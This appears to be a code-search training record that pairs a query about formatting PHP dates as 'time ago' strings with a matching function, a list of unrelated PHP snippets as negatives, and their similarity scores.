<br>\n\t\t\t\t\t\t\t\t\t\t\t $imageDiv\n\t\t\t\t\t\t\t\t\t\t\t <br>\n\t\t\t\t\t\t\t\t\t\t\t <br>\n\t\t\t\t\t\t\t\t\t\t\t </div>\n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t<div class='newsfeedPostOptions' >\n\t\t\t\t\t\t\t\t\t\t\t<b class='bold_comment' onClick='javascript:toggle$id()'>Comments($comments_check_num)&nbsp;&nbsp;&nbsp;&nbsp;</b>\n\n\t\t\t\t\t\t\t\t\t\t\t<iframe class='like_frame' src='like.php?post_id=$id' scrolling='no'></iframe>\n\n\t\t\t\t\t\t\t\t\t\t\t</div>\n\n\n\t\t\t\t\t\t\t\t\t\t\t </div>\n\t\t\t\t\t\t\t\t\t\t\t <div class='post_comment' id='toggleComment$id' style='display:none;' >\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t<iframe src='comment_frame.php?post_id=$id' class='comment_iframe' id='comment_iframe' frameborder='0'></iframe>\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t</div>\n\n\t\t\t\t\t\t\t\t\t\t\t <hr>\";//\n\t\t\t\t\t\t\t\t\t\t\t \n\t\t\t\t\t\t\t\t\t\t\t\t?>\n\t\t\t\t\t\t\t\t\t\t\t<script >\n\t\t\t\t\t\t\t\t\t\t\t \n\n\n\t\t\t\t\t\t\t\t\t\t\t</script>\n\t\t\t\t\t\t\t\t\t\t\t\t<?php\n}\n else{\necho \"<p>You cannot see this post because you are not friend with this users</p>\";\nreturn;\n}\t\t \n}\nelse{\n\techo \"<p>No post found.If you clicked a link.It may be broken</p>\";\nreturn;\n}\n\n\t\t\t\techo $str;\n}", "public function create()\n {\n $authId = Auth::user()->_id;\n $getPostLike = PostLike::where('fk_user_id',$authId)->get();\n $getPostComment = PostComment::where('fk_user_id',$authId)->get();\n $getPostCommentLike = PostCommentLike::where('fk_user_id',$authId)->get();\n $getPostCommentSubCom = PostSubComment::where('fk_user_id',$authId)->get();\n\n $getNotification = FeedNotification::where('fk_user_id','!=',\\Auth::user()->_id)->orderBy('created_at','desc')->get();\n\n\n \n $myNotify = array();\n\n for ($i=0; $i < count($getNotification); $i++) { \n //post\n\n if($getNotification[$i]->posts['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $post = 1;\n }else{\n $post = 0;\n }\n\n if($post==0){\n\n if(count($getPostLike) > 0){\n $postLike = $getNotification[$i]->posts->post_like; \n\n $countPostLike = count($postLike);\n for ($p=0; $p < $countPostLike; $p++) { \n if($postLike[$p]['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $postL = 1; \n }else{\n $postL = 0;\n }\n }\n }else{\n $postL = 0;\n }\n\n if($postL == 0){\n if(count($getPostComment) > 0){\n $postComment = $getNotification[$i]->posts->post_comment; \n $countPostComment = count($postComment);\n //return $countPostComment;\n for ($c=0; $c < $countPostComment; $c++) { \n \n if($postComment[$c]['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $postC = 1;\n $c = $countPostComment + 1; \n }else{\n $postC = 0;\n }\n }\n }else{\n $postC = 0;\n }\n \n if($postC == 0){\n if(count($getPostCommentLike) > 0){\n $postCommentLike = $getNotification[$i]->posts->post_comment->post_comment_like; \n $countPostCommentLike = count($postCommentLike);\n for ($l=0; $l < $countPostCommentLike; $l++) { \n if($postCommentLike[$l]['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $postCL = 1;\n $l = $countPostCommentLike + 1; \n }else{\n $postCL = 0;\n }\n }\n }else{\n $postCL = 0;\n }\n\n if($postCL == 0){\n if(count($getPostCommentSubCom) > 0){\n $postCommentSub = $getNotification[$i]->posts->post_comment->post_sub_comment; \n $countPostCommentSub = count($postCommentSub);\n for ($x=0; $x < $countPostCommentSub; $x++) { \n if($postCommentSub[$x]['fk_user_id'] == $authId){\n $myNotify[] = $getNotification[$i];\n $postCS = 1;\n $x = $countPostCommentSub + 1; \n }else{\n $postCS = 0;\n }\n }\n } \n }\n } \n }\n }\n }\n \n return json_encode($myNotify);\n }", "function _publish_post_hook($post_id)\n {\n }", "public function broadcastOn()\n {\n return ['status-liked'];\n }", "function wpegg_handlePost($PostID){\r\n \r\n $Post = get_post($PostID);\r\n $Bot = wpegg_getOptions();\r\n $Message = $Bot['Message']; \r\n $Permalink = get_permalink($PostID);\r\n // Get author details.\r\n if ((strstr($Message,\"%A\")) || (strstr($Message,\"%a\")) ){\r\n \r\n $User = get_userdata($Post->post_author);\r\n \r\n $Message = str_replace(\"%a\",\"{$User->first_name} {$User->last_name}\",$Message);\r\n $Message = str_replace(\"%A\",$User->display_name,$Message);\r\n \r\n }\r\n \r\n // Get catergory name.\r\n if (strstr($Message,\"%C\")){\r\n \r\n foreach((get_the_category($PostID)) as $category) { \r\n $Cat .= $category->cat_name . ' '; \r\n } \r\n \r\n $Message = str_replace(\"%C\",$Cat,$Message);\r\n \r\n }\r\n \r\n if (strstr($Message,\"%c\")){\r\n \r\n $Catergories = get_the_category($PostID);\r\n \r\n $Message = str_replace(\"%c\",$Catergories[0]->category_nicename,$Message);\r\n \r\n }\r\n \r\n \r\n $Message = str_replace(\"%d\",$Post->post_date,$Message);\r\n $Message = str_replace(\"%D\",$Post->post_date_gmt,$Message);\r\n $Message = str_replace(\"%t\",$Post->post_name,$Message);\r\n $Message = str_replace(\"%T\",$Post->post_title,$Message);\r\n $Message = str_replace(\"%U\",$Permalink,$Message);\r\n \r\n \r\n wpegg_sendMessage($Bot['Server'],$Bot['Port'],$Bot['Password'],$Message);\r\n \r\n \r\n \r\n}", "public function iN_UpdateWhoCanSeePost($uid, $whoID) {\n\t\t$uid = mysqli_real_escape_string($this->db, $uid);\n\t\t$whoID = mysqli_real_escape_string($this->db, $whoID);\n\t\tif ($this->iN_CheckUserExist($uid) == 1) {\n\t\t\t$updateNotificationUser = mysqli_query($this->db, \"UPDATE i_users SET post_who_can_see = '$whoID' WHERE iuid = '$uid'\") or die(mysqli_error($this->db));\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "public function follow($post_id_followed) {\n\t\n\t # Prepare the data array to be inserted\n\t $data = Array(\n\t \"created\" => Time::now(),\n\t \"user_id\" => $this->user->user_id,\n\t \"post_id_followed\" => $post_id_followed\n\t );\n\t\n\t # Do the insert\n\t DB::instance(DB_NAME)->insert('users_posts', $data);\n\t\n\t # Send them back\n\t Router::redirect(\"/posts/users\");\n\t\n\t}", "function ecsp_twitter_publish_post( $post_id, $user_id ) {\n\t$share_twitter = get_post_meta($post_id, 'ecsp_share_twitter', true );\n\t$share_all = get_post_meta($post_id, 'ecsp_share_all', true );\n\n\t// The user must have selected to share on Twitter, or share on All\n\tif ( !$share_twitter && !$share_all ) {\n\t\treturn;\n\t}\n\n\t// If the user does not have this account connected, abort. Might be due to \"all\" being checked.\n\tif ( !get_user_meta( $user_id, 'ecsp-twitter-access-token', true ) ) return;\n\n\t$twAuth = ecsp_get_twitter_auth_api();\n\tif ( !$twAuth ) {\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'Could not initialize the Twitter API' );\n\t\treturn;\n\t}\n\n\t// Get the user's message. This will include a link to the article.\n\t$user_message = ecsp_get_share_message( $post_id, 140, true );\n\n\tif ( !$user_message ) {\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'The sharing message was not provided.' );\n\t\treturn;\n\t}\n\n\ttry {\n\t\t$result = $twAuth->post( 'statuses/update', array( 'status' => $user_message ) );\n\t} catch( Abraham\\TwitterOAuth\\TwitterOAuthException $e ) {\n\t\tupdate_post_meta( $post_id, 'ecsp-twitter-error', 'Twitter returned an error: ' . $e->getMessage() );\n\t\tdelete_post_meta( $post_id, 'ecsp-twitter-share-result' );\n\t\tecsp_log_sharing_error_for_user( $user_id, $post_id, 'twitter', 'Twitter returned an error: ' . $e->getMessage() );\n\t\treturn;\n\t}\n\n\tupdate_post_meta( $post_id, 'ecsp-twitter-share-result', $result );\n\tdelete_post_meta( $post_id, 'ecsp-twitter-error' );\n}" ]
[ "0.6455081", "0.64349085", "0.6426859", "0.64014274", "0.6239512", "0.62220937", "0.6186874", "0.61830246", "0.6173631", "0.61409104", "0.6102452", "0.60648793", "0.597858", "0.5976259", "0.59621316", "0.59058976", "0.5886131", "0.5863296", "0.58546", "0.5843146", "0.5832546", "0.58300275", "0.58180517", "0.579102", "0.5789181", "0.57254595", "0.5664945", "0.5620421", "0.5615815", "0.5602829", "0.5601121", "0.5566657", "0.5536275", "0.5521999", "0.5516886", "0.55122447", "0.5507269", "0.5494849", "0.54891735", "0.54848385", "0.54798144", "0.546145", "0.54612464", "0.5422704", "0.54130244", "0.5386002", "0.53853893", "0.53822553", "0.53815246", "0.5378793", "0.5369672", "0.5368833", "0.53645736", "0.53639483", "0.5360041", "0.53484696", "0.52929705", "0.5291921", "0.5288894", "0.5286001", "0.52835226", "0.5277269", "0.5268658", "0.5267236", "0.52563155", "0.5251845", "0.5244757", "0.52383554", "0.52304214", "0.52292216", "0.52173793", "0.52173793", "0.52119577", "0.5209241", "0.5201374", "0.5198946", "0.51832265", "0.5174867", "0.5170548", "0.51674193", "0.515519", "0.51481", "0.5144745", "0.5144615", "0.5141094", "0.5139549", "0.51391375", "0.5125971", "0.51256007", "0.5125315", "0.5121929", "0.51211673", "0.5120145", "0.5119138", "0.5118415", "0.5113797", "0.51112753", "0.51043797", "0.5095288", "0.5094202" ]
0.58588415
18
how to output '' days ago, '' hours ago, etc. Must use DateTime() format. ex: 20130529 00:00:00
function iu_time_elapsed_string($datetime, $full = false) { $now = new DateTime; $ago = new DateTime($datetime); $diff = $now->diff($ago); //print_r($diff); // $diff->w = floor($diff->d / 7); // $diff->d -= $diff->w * 7; $string = array( 'y' => 'year', 'm' => 'month', //'w' => 'week', 'd' => 'day', 'h' => 'hour', 'i' => 'minute', 's' => 'second', ); foreach ($string as $k => &$v) { if ($diff->$k) { $v = $diff->$k . ' ' . $v . ($diff->$k > 1 ? 's' : ''); } else { unset($string[$k]); } } if (!$full) $string = array_slice($string, 0, 1); return $string ? implode(', ', $string) . ' ago' : 'just now'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getDateAgo() {return $this->getDate() ? $this->getTimeDisplay($this->getDate()) : 'unknown';}", "function timeAgo($dateTime)\n\t\t{\n\t\t\t$dateTime = strtotime($dateTime);\n\t\t\t$currentTime = time();\n\t\t\t$tense = \"\";\n\t\t\t$printTime = \"\";\n\t\t\t$timeDifference = $currentTime - $dateTime;\n\t\t\t$seconds = $timeDifference ;\n\t\t\t$minutes = round($timeDifference / 60 );\n\t\t\t$hours = round($timeDifference / 3600);\n\t\t\t$days = round($timeDifference / 86400 );\n\t\t\t$weeks = round($timeDifference / 604800);\n\t\t\t$months = round($timeDifference / 2600640 );\n\t\t\t$years = round($timeDifference / 31207680 );\n\t\t\t\n\t\t\tif($seconds <= 60){\n\t\t\t\t$printTime = $seconds;\n\t\t\t\t$tense = \" seconds ago\";\n\t\t\t}else if($minutes <= 60){\n\t\t\t\tif($minutes == 1){\n\t\t\t\t\t$printTime = $minutes;\n\t\t\t\t\t$tense = \" minute ago\";\n\t\t\t\t}\n\t\t\t\telse{\n\t\t\t\t\t$printTime = $minutes;\n\t\t\t\t\t$tense = \" minutes ago\";\n\t\t\t\t}\n\t\t\t}else if($hours <= 24){\n\t\t\t\tif($hours == 1){\n\t\t\t\t\t$printTime = $hours;\n\t\t\t\t\t$tense = \" hour ago\";\n\t\t\t\t}else{\n\t\t\t\t\t$printTime = $hours;\n\t\t\t\t\t$tense = \" hours ago\";\n\t\t\t\t}\n\t\t\t}else if($days <= 7){\n\t\t\t\tif($days == 1){\n\t\t\t\t\t$printTime = \"\";\n\t\t\t\t\t$tense = \"yesterday\";\n\t\t\t\t}else{\n\t\t\t\t\t$printTime = $days;\n\t\t\t\t\t$tense = \" days ago\";\n\t\t\t\t}\n\t\t\t}else if($weeks <= 4.3){\n\t\t\t\tif($weeks == 1){\n\t\t\t\t\t$printTime = $weeks;\n\t\t\t\t\treturn \" week ago\";\n\t\t\t\t}else{\n\t\t\t\t\t$printTime = $weeks;\n\t\t\t\t\t$tense = \" weeks ago\";\n\t\t\t\t}\n\t\t\t}else if($months <= 12){\n\t\t\t\tif($months == 1){\n\t\t\t\t\t$printTime = $months;\n\t\t\t\t\t$tense = \" month ago\";\n\t\t\t\t}else{\n\t\t\t\t\t$printTime = $months;\n\t\t\t\t\t$tense = \" months ago\";\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tif($years == 1){\n\t\t\t\t\t$printTime = $years;\n\t\t\t\t\t$tense = \" year ago\";\n\t\t\t\t}else{\n\t\t\t\t\t$printTime = $years;\n\t\t\t\t\t$tense = \" years ago\";\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\treturn $printTime.$tense;\n\t\t}", "public function getCreatedTimeAgo() {\n $timeStamp = $this->getCreatedTime('U');\n $elapsed = time() - $timeStamp;\n \n if ($elapsed < 1)\n return 'just now';\n\n $lengths = array( 12 * 30 * 24 * 60 * 60 => 'year',\n 30 * 24 * 60 * 60 => 'month',\n 24 * 60 * 60 => 'day',\n 60 * 60 => 'hour',\n 60 => 'minute',\n 1 => 'second');\n\n foreach ($lengths as $secs => $str)\n {\n $d = $elapsed / $secs;\n if ($d >= 1)\n {\n $r = round($d);\n return $r . ' ' . $str . ($r > 1 ? 's' : '') . ' ago';\n }\n }\n }", "function formatToDaysAgo(string $date): string\n{\n $currentDate = new DateTime(date('Ymd'));\n $publishedDate = new DateTime($date);\n $difference = $publishedDate->diff($currentDate);\n $daysAgo = $difference->format('%a');\n\n if ($daysAgo === '0') {\n return 'today';\n } elseif ($daysAgo === '1') {\n return 'yesterday';\n }\n\n return \"$daysAgo days ago\";\n}", "function time_Ago($time) { \n \n // Calculate difference between current \n // time and given timestamp in seconds \n $diff = time() - $time; \n \n // Time difference in seconds \n $sec = $diff; \n \n // Convert time difference in minutes \n $min = round($diff / 60 ); \n \n // Convert time difference in hours \n $hrs = round($diff / 3600); \n \n // Convert time difference in days \n $days = round($diff / 86400 ); \n \n // Convert time difference in weeks \n $weeks = round($diff / 604800); \n \n // Convert time difference in months \n $mnths = round($diff / 2600640 ); \n \n // Convert time difference in years \n $yrs = round($diff / 31207680 ); \n \n // Check for seconds \n if($sec <= 60) { \n return \"$sec seconds ago\"; \n } \n \n // Check for minutes \n else if($min <= 60) { \n if($min==1) { \n return \"one minute ago\"; \n } \n else { \n return \"$min minutes ago\"; \n } \n } \n \n // Check for hours \n else if($hrs <= 24) { \n if($hrs == 1) { \n return \"an hour ago\"; \n } \n else { \n return \"$hrs hours ago\"; \n } \n } \n \n // Check for days \n else if($days <= 7) { \n if($days == 1) { \n return \"Yesterday\"; \n } \n else { \n return \"$days days ago\"; \n } \n } \n \n // Check for weeks \n else if($weeks <= 4.3) { \n if($weeks == 1) { \n return \"a week ago\"; \n } \n else { \n return \"$weeks weeks ago\"; \n } \n } \n \n // Check for months \n else if($mnths <= 12) { \n if($mnths == 1) { \n return \"a month ago\"; \n } \n else { \n return \"$mnths months ago\"; \n } \n } \n \n // Check for years \n else { \n if($yrs == 1) { \n return \"one year ago\"; \n } \n else { \n return \"$yrs years ago\"; \n } \n } \n}", "function convertToAgoFormat($timestamp){\n date_default_timezone_set('America/Mexico_City');\n $diffBtwCurrentTimeAndTimestamp = time() - $timestamp;\n $periodsString = [\"sec\", \"min\", \"hr\", \"day\", \"week\", \"month\", \"year\", \"decade\"];\n $periodsNumber = [\"60\", \"60\", \"24\", \"7\", \"4.35\", \"12\", \"10\"];\n \n for($iterator = 0; $diffBtwCurrentTimeAndTimestamp >= $periodsNumber[$iterator]; $iterator++)\n $diffBtwCurrentTimeAndTimestamp /= $periodsNumber[$iterator];\n $diffBtwCurrentTimeAndTimestamp = round($diffBtwCurrentTimeAndTimestamp);\n \n if($diffBtwCurrentTimeAndTimestamp != 1) $periodsString[$iterator].=\"s\";\n $output = \"$diffBtwCurrentTimeAndTimestamp $periodsString[$iterator]\"; //2 days\n \n return $output.\" ago\";\n}", "function publushDateFix($publishedDate){\n\t $publishedAt = date('Y-m-d', strtotime($publishedDate));\n$publishedAt = date_create($publishedAt);\n$today = date_create('now');\n$diff=date_diff($publishedAt,$today);\n\n//accesing days\n$days = $diff->d;\n//accesing years\n$years = $diff->y;\n//accesing months\n$months = $diff->m;\n//accesing hours\n$hours=$diff->h;\nif($months==0 AND $years!=0){\n\t\t\t\techo $years.\" Year ago \";}\n\t\t\t\telseif($years==0 AND $months!=0){ echo $months; if($months==1){ echo \" month ago \";} else { echo \" months ago \";}}\n\t\t\t\telseif($years!=0 AND $months!=0){ echo $years; if($years==1){ echo \" year ago \";} else { echo \" years ago \";}}\n\t\t\t\telseif($years==0 AND $months==0 AND $days!=0 ){ echo $days; if($days==1){ echo \" day ago \";} else { echo \" days ago \";}}\n\t\t\t\telseif($years==0 AND $months==0 AND $days==0 AND $hours!=0){ echo $hours; if($hours==1){ echo \" hour ago \";} else { echo \" hours ago \";}}\n\t \n\t }", "function time_since($datetime, $full = false) {\n $now = new DateTime;\n //$now->format('Y-m-d H:i:s');\n $ago = new DateTime($datetime);\n // $ago->format('Y-m-d H:i:s');\n $diff = $now->diff($ago);\n\n $diff->w = floor($diff->d / 7);\n $diff->d -= $diff->w * 7;\n\n $string = array(\n 'y' => 'year',\n 'm' => 'month',\n 'w' => 'week',\n 'd' => 'day',\n 'h' => 'hour',\n 'i' => 'min',\n 's' => 'sec',\n );\n foreach ($string as $key => &$value) {\n if ($diff->$key) {\n $value = $diff->$key . ' ' . $value . ($diff->$key > 1 ? 's' : '');\n } else {\n unset($string[$key]);\n }\n }\n\n if (!$full) $string = array_slice($string, 0, 1);\n return $string ? implode(', ', $string) . ' ago' : 'just now';\n}", "function ago($time)\n{\n $periods_single = array(\"seconde\", \"minuut\", \"uur\", \"dag\", \"week\", \"maand\", \"jaar\", \"decennium\");\n $periods_multi = array(\"seconden\", \"minuten\", \"uur\", \"dagen\", \"weken\", \"maanden\", \"jaren\", \"decennia\");\n\n $lengths = array(\"60\",\"60\",\"24\",\"7\",\"4.35\",\"12\",\"10\");\n\n $now = time();\n\n $difference = $now - $time;\n $tense = \"ago\";\n\n for($j = 0; $difference >= $lengths[$j] && $j < count($lengths)-1; $j++) {\n $difference /= $lengths[$j];\n }\n\n $difference = round($difference);\n\n $period = $periods_single[$j];\n\n if($difference > 1) {\n $period = $periods_multi[$j];\n }\n\n return \"$difference $period geleden\";\n}", "function timeAgo($time_ago)\n {\n $time_ago = strtotime($time_ago);\n $cur_time = time()-28800;\n $time_elapsed = $cur_time - $time_ago;\n $seconds = $time_elapsed ;\n $minutes = round($time_elapsed / 60 );\n $hours = round($time_elapsed / 3600);\n $days = round($time_elapsed / 86400 );\n $weeks = round($time_elapsed / 604800);\n $months = round($time_elapsed / 2600640 );\n $years = round($time_elapsed / 31207680 );\n // Seconds\n if($seconds <= 60){\n return \"just now\";\n }\n //Minutes\n else if($minutes <=60){\n if($minutes==1){\n return \"one minute ago\";\n }\n else{\n return \"$minutes minutes ago\";\n }\n }\n //Hours\n else if($hours <=24){\n if($hours==1){\n return \"an hour ago\";\n }else{\n return \"$hours hrs ago\";\n }\n }\n //Days\n else if($days <= 7){\n if($days==1){\n return \"yesterday\";\n }else{\n return \"$days days ago\";\n }\n }\n //Weeks\n else if($weeks <= 4.3){\n if($weeks==1){\n return \"a week ago\";\n }else{\n return \"$weeks weeks ago\";\n }\n }\n //Months\n else if($months <=12){\n if($months==1){\n return \"a month ago\";\n }else{\n return \"$months months ago\";\n }\n }\n //Years\n else{\n if($years==1){\n return \"one year ago\";\n }else{\n return \"$years years ago\";\n }\n }\n }", "function time1($time) \n{\n \n$time= strtotime($time);\n $delta = time() - $time;\n\n if ($delta < 1 * MINUTE)\n {\n return $delta == 1 ? \"one second ago\" : $delta . \" seconds ago\";\n }\n if ($delta < 2 * MINUTE)\n {\n return \"a minute ago\";\n }\n if ($delta < 45 * MINUTE)\n {\n return floor($delta / MINUTE) . \" minutes ago\";\n }\n if ($delta < 90 * MINUTE)\n {\n return \"an hour ago\";\n }\n if ($delta < 24 * HOUR)\n {\n return floor($delta / HOUR) . \" hours ago\";\n }\n if ($delta < 48 * HOUR)\n {\n return \"yesterday\";\n }\n if ($delta < 30 * DAY)\n {\n return floor($delta / DAY) . \" days ago\";\n }\n if ($delta < 12 * MONTH)\n {\n $months = floor($delta / DAY / 30);\n return $months <= 1 ? \"one month ago\" : $months . \" months ago\";\n }\n else\n {\n $years = floor($delta / DAY / 365);\n return $years <= 1 ? \"one year ago\" : $years . \" years ago\";\n }\n \n}", "function ago($m) {\n if ($m <= 90)\n return round($m) . ' min. ago';\n if ($m <= (60 * 2))\n return 'less than 2 hrs ago';\n if ($m <= (60 * 2 + 30))\n return 'about 2 hrs ago';\n if ($m <= (60 * 24))\n return 'about ' . round($m / 60) . ' hrs ago';\n\n $dayCnt = round($m / 60 / 24);\n if ($dayCnt > 1)\n return $dayCnt . ' days ago';\n else\n return $dayCnt . ' day ago';\n}", "function ago($date){\n\t\t$date = time() - $date; // to get the time since that moment\n\t\t$date = ($date<1)? 1 : $date;\n\t\t$tokens = array (\n\t\t\t31536000 => 'year',\n\t\t\t2592000 => 'month',\n\t\t\t604800 => 'week',\n\t\t\t86400 => 'day',\n\t\t\t3600 => 'hour',\n\t\t\t60 => 'minute',\n\t\t\t1 => 'second'\n\t\t);\n\n\t\tforeach ($tokens as $unit => $text) {\n\t\t\tif ($date < $unit) continue;\n\t\t\t$numberOfUnits = floor($date / $unit);\n\t\t\treturn $numberOfUnits.' '.$text.(($numberOfUnits>1)?'s':'');\n\t\t}\n\t}", "function days_since( $post = null )\r\n{\r\n $days_ago = round(( date('U') - get_the_time('U') ) / ( 60 * 60 * 24 ));\r\n if ($days_ago == 0) {\r\n $posted = 'Today';\r\n } elseif ($days_ago == 1) {\r\n $posted = '1 day ago';\r\n } else {\r\n $posted = $days_ago . ' days ago.';\r\n }\r\n echo $posted;\r\n}", "function time_calc($up_time)\n {\n // time is of the form YYYY-MM-DD HH:MM:SS.MILISEC\n $x = explode(' ', $up_time);\n $y = explode('-', $x[0]);\n $z = explode(':', $x[1]);\n\n // condition for year\n if(((int)date('Y') - (int)$y[0]) > 0)\n {\n $temp = ((int)date('Y') - (int)$y[0]);\n $temp = $temp.\" years ago\";\n return($temp);\n }\n else if(((int)date('m') - (int)$y[1]) > 0)\n {\n $temp = ((int)date('m') - (int)$y[1]);\n $temp = $temp.\" months ago\";\n return($temp);\n }\n else if(((int)date('d') - (int)$y[2]) > 0)\n {\n $temp = ((int)date('d') - (int)$y[2]);\n $temp = $temp.\" days ago\";\n return($temp);\n }\n else if(((int)date('H') - (int)$z[0]) > 0)\n {\n $temp = ((int)date('H') - (int)$z[0]);\n $temp = $temp.\" hrs ago\";\n return($temp);\n }\n else if(((int)date('i') - (int)$z[1]) > 0)\n {\n $temp = ((int)date('i') - (int)$z[1]);\n $temp = $temp.\" mins ago\";\n return($temp);\n }\n }", "function time_elapsed_string($datetime) {\n\t\t\t $now = new DateTime;\n\t\t\t $ago = new DateTime($datetime);\n\t\t\t $diff = $now->diff($ago);\n\n\t\t\t $diff->w = floor($diff->d / 7);\n\t\t\t $diff->d -= $diff->w * 7;\n\n\t\t\t $string = array(\n\t\t\t 'y' => 'year',\n\t\t\t 'm' => 'month',\n\t\t\t 'w' => 'week',\n\t\t\t 'd' => 'day',\n\t\t\t 'h' => 'hour',\n\t\t\t 'i' => 'minute',\n\t\t\t 's' => 'second',\n\t\t\t );\n\t\t\t foreach ($string as $k => &$v) {\n\t\t\t if ($diff->$k) {\n\t\t\t $v = $diff->$k . ' ' . $v . ($diff->$k > 1 ? 's' : '');\n\t\t\t } else {\n\t\t\t unset($string[$k]);\n\t\t\t }\n\t\t\t }\n\n\t\t\t if ($string = array_slice($string, 1));\n\t\t\t return $string ? implode(', ', $string) . ', ago' : 'just now';\n\t\t}", "function daysAgo($timestamp){ \n date_default_timezone_set('Europe/Riga'); \n $time_ago = strtotime($timestamp); \n $current_time = time(); \n $time_difference = $current_time - $time_ago; \n $seconds = $time_difference; \n $minutes = round($seconds / 60 ); //code bellow calculates each unit by deviding seconds.\n $hours = round($seconds / 3600);\n $days = round($seconds / 86400);\n $weeks = round($seconds / 604800);\n $months = round($seconds / 2629440);\n $years = round($seconds / 31553280);\n if($seconds <= 60) \n { \n return \"Just Now\"; \n } \n else if($minutes <=60) \n { \n if($minutes==1) \n { \n return \"one minute ago\"; \n } \n else \n { \n return \"$minutes minutes ago\"; //two \"if\" statements are needed because of plural and singular.\n } \n } \n else if($hours <=24) \n { \n if($hours==1) \n { \n return \"an hour ago\"; \n } \n else \n { \n return \"$hours hrs ago\"; \n } \n } \n else if($days <= 7) \n { \n if($days==1) \n { \n return \"yesterday\"; \n } \n else \n { \n return \"$days days ago\"; \n } \n } \n else if($weeks <= 4.3) //4.3 == 52/12 \n { \n if($weeks==1) \n { \n return \"a week ago\"; \n } \n else \n { \n return \"$weeks weeks ago\"; \n } \n } \n else if($months <=12) \n { \n if($months==1) \n { \n return \"a month ago\"; \n } \n else \n { \n return \"$months months ago\"; \n } \n } \n else \n { \n if($years==1) \n { \n return \"one year ago\"; \n } \n else \n { \n return \"$years years ago\"; \n } \n } \n }", "private function _relative_time($date) {\n\t\t$valid_date = (is_numeric($date) && strtotime($date) === FALSE) ? $date : strtotime($date);\n\t\t$diff = time() - $valid_date;\n\t\tif ($diff > 0) {\n\t\t\tif ($diff < 60) {\n\t\t\t\treturn $diff . \" second\" . $this->_plural($diff) . \" ago\";\n\t\t\t}\n\t\t\t$diff = round($diff / 60);\n\n\t\t\tif ($diff < 60) {\n\t\t\t\treturn $diff . \" minute\" . $this->_plural($diff) . \" ago\";\n\t\t\t}\n\t\t\t$diff = round($diff / 60);\n\n\t\t\tif ($diff < 24) {\n\t\t\t\treturn $diff . \" hour\" . $this->_plural($diff) . \" ago\";\n\t\t\t}\n\t\t\t$diff = round($diff / 24);\n\n\t\t\tif ($diff < 7) {\n\t\t\t\treturn \"about \" . $diff . \" day\" . $this->_plural($diff) . \" ago\";\n\t\t\t}\n\t\t\t$diff = round($diff / 7);\n\n\t\t\tif ($diff < 4) {\n\t\t\t\treturn \"about \" . $diff . \" week\" . $this->_plural($diff) . \" ago\";\n\t\t\t}\n\n\t\t\treturn \"on \" . date(\"F j, Y\", strtotime($valid_date));\n\t\t} else {\n\t\t\tif ($diff > -60) {\n\t\t\t\treturn \"in \" . -$diff . \" second\" . $this->_plural($diff);\n\t\t\t}\n\t\t\t$diff = round($diff / 60);\n\n\t\t\tif ($diff > -60) {\n\t\t\t\treturn \"in \" . -$diff . \" minute\" . $this->_plural($diff);\n\t\t\t}\n\t\t\t$diff = round($diff / 60);\n\n\t\t\tif ($diff > -24) {\n\t\t\t\treturn \"in \" . -$diff . \" hour\" . $this->_plural($diff);\n\t\t\t}\n\t\t\t$diff = round($diff / 24);\n\n\t\t\tif ($diff > -7) {\n\t\t\t\treturn \"in \" . -$diff . \" day\" . $this->_plural($diff);\n\t\t\t}\n\t\t\t$diff = round($diff / 7);\n\n\t\t\tif ($diff > -4) {\n\t\t\t\treturn \"in \" . -$diff . \" week\" . $this->_plural($diff);\n\t\t\t}\t\n\n\t\t\treturn \"on \" . date(\"F j, Y\", strtotime($valid_date));\n\t\t}\n\t}", "function ago($datefrom,$dateto=-1)\n {\n // its an error rather than the epoch\n \n if($datefrom=='0') { return \"A long time ago\"; }\n if($dateto=='-1') { $dateto = time(); }\n \n // Make the entered date into Unix timestamp from MySQL datetime field\n\n $datefrom = strtotime($datefrom);\n \n // Calculate the difference in seconds betweeen\n // the two timestamps\n\n $difference = $dateto - $datefrom;\n\n // Based on the interval, determine the\n // number of units between the two dates\n // From this point on, you would be hard\n // pushed telling the difference between\n // this function and DateDiff. If the $datediff\n // returned is 1, be sure to return the singular\n // of the unit, e.g. 'day' rather 'days'\n \n switch(true)\n {\n // If difference is less than 60 seconds,\n // seconds is a good interval of choice\n case(strtotime('-1 min', $dateto) < $datefrom):\n $datediff = $difference;\n $res = ($datediff==1) ? $datediff.' second ago' : $datediff.' seconds ago';\n break;\n // If difference is between 60 seconds and\n // 60 minutes, minutes is a good interval\n case(strtotime('-1 hour', $dateto) < $datefrom):\n $datediff = floor($difference / 60);\n $res = ($datediff==1) ? $datediff.' minute ago' : $datediff.' minutes ago';\n break;\n // If difference is between 1 hour and 24 hours\n // hours is a good interval\n case(strtotime('-1 day', $dateto) < $datefrom):\n $datediff = floor($difference / 60 / 60);\n $res = ($datediff==1) ? $datediff.' hour ago' : $datediff.' hours ago';\n break;\n // If difference is between 1 day and 7 days\n // days is a good interval \n case(strtotime('-1 week', $dateto) < $datefrom):\n $day_difference = 1;\n while (strtotime('-'.$day_difference.' day', $dateto) >= $datefrom)\n {\n $day_difference++;\n }\n \n $datediff = $day_difference;\n $res = ($datediff==1) ? 'yesterday' : $datediff.' days ago';\n break;\n // If difference is between 1 week and 30 days\n // weeks is a good interval \n case(strtotime('-1 month', $dateto) < $datefrom):\n $week_difference = 1;\n while (strtotime('-'.$week_difference.' week', $dateto) >= $datefrom)\n {\n $week_difference++;\n }\n \n $datediff = $week_difference;\n $res = ($datediff==1) ? 'last week' : $datediff.' weeks ago';\n break; \n // If difference is between 30 days and 365 days\n // months is a good interval, again, the same thing\n // applies, if the 29th February happens to exist\n // between your 2 dates, the function will return\n // the 'incorrect' value for a day\n case(strtotime('-1 year', 